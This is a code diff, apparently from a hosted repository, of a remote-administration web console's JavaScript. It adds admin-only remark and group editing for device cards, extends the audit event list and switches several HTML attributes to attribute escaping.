// 无论有几个操作,卡片上只显示一个「…」;点开弹出的菜单里才是终端/备注/
|
||||
// 分组/绑定/转移/删除,每项带一句功能说明。菜单项在点击时按设备实时生成,权限和
|
||||
// 在线状态不会因为列表渲染后变化而过期。
|
||||
let cardMenuEl = null;
|
||||
let cardMenuBtn = null;
|
||||
const cardMenuSvg = {
|
||||
term: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
'<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>',
|
||||
edit: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
'<path d="M12 20h9"/><path d="M16.5 3.5a2.12 2.12 0 0 1 3 3L7 19l-4 1 1-4Z"/></svg>',
|
||||
group: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
'<path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2Z"/></svg>',
|
||||
bind: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
'<rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></svg>',
|
||||
transfer: '<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
|
||||
@@ -5126,9 +5206,22 @@
|
||||
'<path d="M10 11v6"/><path d="M14 11v6"/><path d="M9 6V4a1 1 0 0 1 1-1h4a1 1 0 0 1 1 1v2"/></svg>'
|
||||
};
|
||||
|
||||
// 备注/分组编辑:只有实现了对应功能的后端(Go)在 device_list 里报
|
||||
// remarkEdit / groupEdit 才出现;MFC 复用同一份页面但不下发这些字段。
|
||||
let remarkEditAvailable = false;
|
||||
let groupEditAvailable = false;
|
||||
|
||||
function canEditRemark() {
|
||||
return remarkEditAvailable && currentUserRole === 'admin';
|
||||
}
|
||||
|
||||
function canEditGroup() {
|
||||
return groupEditAvailable && currentUserRole === 'admin';
|
||||
}
|
||||
|
||||
function hasCardActions(d) {
|
||||
if (d.online !== false) return true; // 在线设备至少有终端
|
||||
return canBindDevices() || canDeleteDevices();
|
||||
return canEditRemark() || canEditGroup() || canBindDevices() || canDeleteDevices();
|
||||
}
|
||||
|
||||
function cardMenuEntries(d) {
|
||||
@@ -5138,6 +5231,14 @@
|
||||
out.push({ kind: 'term', label: 'Terminal', desc: 'Open a remote shell',
|
||||
run: () => openTerminal(d.id) });
|
||||
}
|
||||
if (canEditRemark()) {
|
||||
out.push({ kind: 'edit', label: 'Edit remark', desc: 'Set the label shown on the card',
|
||||
run: () => openRemarkModal(d.id) });
|
||||
}
|
||||
if (canEditGroup()) {
|
||||
out.push({ kind: 'group', label: 'Edit group', desc: 'Move this host to another group',
|
||||
run: () => openGroupModal(d.id) });
|
||||
}
|
||||
if (canBindDevices()) {
|
||||
out.push({ kind: 'bind', label: 'Bind owner', desc: 'Assign this host to a user',
|
||||
run: () => openBindModal(d.id) });
|
||||
@@ -5260,7 +5361,7 @@
|
||||
const rtt = d.rtt || '-';
|
||||
const ver = d.version || '-';
|
||||
const activeWin = d.activeWindow || '';
|
||||
// 操作全部收进右上角的「…」菜单(终端 / 绑定 / 转移 / 删除),
|
||||
// 操作全部收进右上角的「…」菜单(终端 / 备注 / 分组 / 绑定 / 转移 / 删除),
|
||||
// 具体条目见 cardMenuEntries。这里只决定按钮是否出现。
|
||||
const actionsHtml = hasCardActions(d)
|
||||
? '<div class="card-actions">' +
|
||||
@@ -5290,15 +5391,15 @@
|
||||
? '<span class="meta-item offline-badge">Offline</span>'
|
||||
: '<span class="meta-item rtt ' + getRttClass(rtt) + '">RTT: ' + escapeHtml(rtt) + '</span>') +
|
||||
'<span class="meta-item">Ver: ' + escapeHtml(ver) + '</span>' +
|
||||
'<span class="meta-item">' + screenInfo + '</span>' +
|
||||
'<span class="meta-item">' + escapeHtml(screenInfo) + '</span>' +
|
||||
'</div>' +
|
||||
(offline ? '<div class="last-seen">Last seen: ' + escapeHtml(formatLastSeen(d.last_seen)) + '</div>' : '') +
|
||||
(d.transferTo
|
||||
? '<div class="transfer-badge" title="Transferred to ' + escapeHtml(d.transferTo) + '">' +
|
||||
? '<div class="transfer-badge" title="Transferred to ' + escapeAttr(d.transferTo) + '">' +
|
||||
'Transferred → ' + escapeHtml(d.transferTo) + ' · ' +
|
||||
escapeHtml(formatTransferLeft(d.transferUntil)) + '</div>'
|
||||
: '') +
|
||||
(!offline && activeWin ? '<div class="active-window' + (isWindowBusy(activeWin) ? ' busy' : '') + '" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
|
||||
(!offline && activeWin ? '<div class="active-window' + (isWindowBusy(activeWin) ? ' busy' : '') + '" title="' + escapeAttr(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
|
||||
'</div>';
|
||||
}).join('');
|
||||
}
|
||||
@@ -5587,6 +5688,85 @@
|
||||
}));
|
||||
}
|
||||
|
||||
// ===== 修改备注(Go 后端) =====
|
||||
// 备注显示为卡片标题 "hostname (备注)";留空 = 清除。服务端持久化到
|
||||
// device_notes.json,与设备历史/绑定独立,离线记录也能改。
|
||||
let pendingRemarkDeviceId = null;
|
||||
|
||||
function openRemarkModal(id) {
|
||||
if (!canEditRemark()) return;
|
||||
const d = devices.find(x => String(x.id) === String(id));
|
||||
if (!d) { appAlert('Device not found.', 'Edit Remark'); return; }
|
||||
pendingRemarkDeviceId = String(id);
|
||||
document.getElementById('remark-device-name').textContent =
|
||||
(d.name || 'Unknown') + ' (' + String(id) + ')';
|
||||
document.getElementById('remark-input').value = d.remark || '';
|
||||
document.getElementById('remark-device-modal').classList.add('active');
|
||||
const input = document.getElementById('remark-input');
|
||||
input.focus();
|
||||
input.select();
|
||||
}
|
||||
|
||||
function closeRemarkModal() {
|
||||
pendingRemarkDeviceId = null;
|
||||
document.getElementById('remark-device-modal').classList.remove('active');
|
||||
}
|
||||
|
||||
function confirmSetRemark() {
|
||||
if (!pendingRemarkDeviceId) return;
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) {
|
||||
appAlert('Not connected to the server. Try again in a moment.', 'Edit Remark');
|
||||
return;
|
||||
}
|
||||
const remark = document.getElementById('remark-input').value.trim();
|
||||
ws.send(JSON.stringify({
|
||||
cmd: 'set_device_remark', token, id: pendingRemarkDeviceId, remark,
|
||||
}));
|
||||
}
|
||||
|
||||
// ===== 修改分组(Go 后端) =====
|
||||
// 覆盖主机上报的分组,影响本服务端的卡片分组、分组过滤与 MCP;不下发
|
||||
// CMD_SET_GROUP,主机对其它主控仍按自己上报的分组显示。留空 = 撤销覆盖。
|
||||
let pendingGroupDeviceId = null;
|
||||
|
||||
function openGroupModal(id) {
|
||||
if (!canEditGroup()) return;
|
||||
const d = devices.find(x => String(x.id) === String(id));
|
||||
if (!d) { appAlert('Device not found.', 'Edit Group'); return; }
|
||||
pendingGroupDeviceId = String(id);
|
||||
document.getElementById('group-device-name').textContent =
|
||||
displayName(d) + ' (' + String(id) + ')';
|
||||
// 建议值取当前列表里已有的分组(含覆盖后的)。
|
||||
const groups = Array.from(new Set(devices.map(x => x.group).filter(Boolean))).sort();
|
||||
document.getElementById('group-options').innerHTML =
|
||||
groups.map(g => '<option value="' + escapeAttr(g) + '"></option>').join('');
|
||||
// 只有覆盖值才预填。主机上报的分组只放进 placeholder:否则"打开即保存"
|
||||
// 会把上报值固化成覆盖,之后主机改了分组,控制台还停在旧值。
|
||||
const input = document.getElementById('group-input');
|
||||
input.value = d.groupOverride === true ? (d.group || '') : '';
|
||||
input.placeholder = d.group ? ('Current: ' + d.group) : 'e.g. Office';
|
||||
document.getElementById('group-device-modal').classList.add('active');
|
||||
input.focus();
|
||||
input.select();
|
||||
}
|
||||
|
||||
function closeGroupModal() {
|
||||
pendingGroupDeviceId = null;
|
||||
document.getElementById('group-device-modal').classList.remove('active');
|
||||
}
|
||||
|
||||
function confirmSetGroup() {
|
||||
if (!pendingGroupDeviceId) return;
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) {
|
||||
appAlert('Not connected to the server. Try again in a moment.', 'Edit Group');
|
||||
return;
|
||||
}
|
||||
const group = document.getElementById('group-input').value.trim();
|
||||
ws.send(JSON.stringify({
|
||||
cmd: 'set_device_group', token, id: pendingGroupDeviceId, group,
|
||||
}));
|
||||
}
|
||||
|
||||
// ===== 删除设备 =====
|
||||
// 两种情况都删除服务端 devices.json 中的历史记录;在线设备额外按 MFC
|
||||
// 的做法发送单字节 TOKEN_UNINSTALL(卸载主机)。都先弹二次确认。
|
||||
@@ -5794,7 +5974,9 @@
|
||||
'remote.screen.start', 'remote.screen.stop', 'remote.screen.denied',
|
||||
'remote.terminal.start', 'remote.terminal.stop', 'remote.terminal.denied',
|
||||
'remote.clipboard.set', 'remote.clipboard.get', 'remote.rdp_reset',
|
||||
'admin.user.create', 'admin.user.delete', 'admin.device.delete', 'admin.audit.query',
|
||||
'admin.user.create', 'admin.user.delete', 'admin.device.delete', 'admin.device.bind',
|
||||
'admin.device.unbind', 'admin.device.transfer', 'admin.device.remark',
|
||||
'admin.device.group', 'admin.audit.query',
|
||||
'device.online', 'device.offline',
|
||||
'device.auth.success', 'device.auth.failure', 'device.auth.throttled',
|
||||
'device.auth.heartbeat.success',
|
||||
@@ -5944,7 +6126,7 @@
|
||||
tbody.innerHTML = events.map(rec => {
|
||||
const level = rec.level === 'warn' ? 'warn' : 'info';
|
||||
return '<tr>' +
|
||||
'<td title="' + escapeHtml(rec.time || '') + '">' + formatAuditTime(rec.time) + '</td>' +
|
||||
'<td title="' + escapeAttr(rec.time || '') + '">' + formatAuditTime(rec.time) + '</td>' +
|
||||
'<td><span class="audit-level ' + level + '">' + level + '</span></td>' +
|
||||
'<td>' + escapeHtml(rec.event || '') + '</td>' +
|
||||
'<td>' + escapeHtml(rec.actor || '') + '</td>' +
|
||||
|
||||
Reference in new issue
Block a user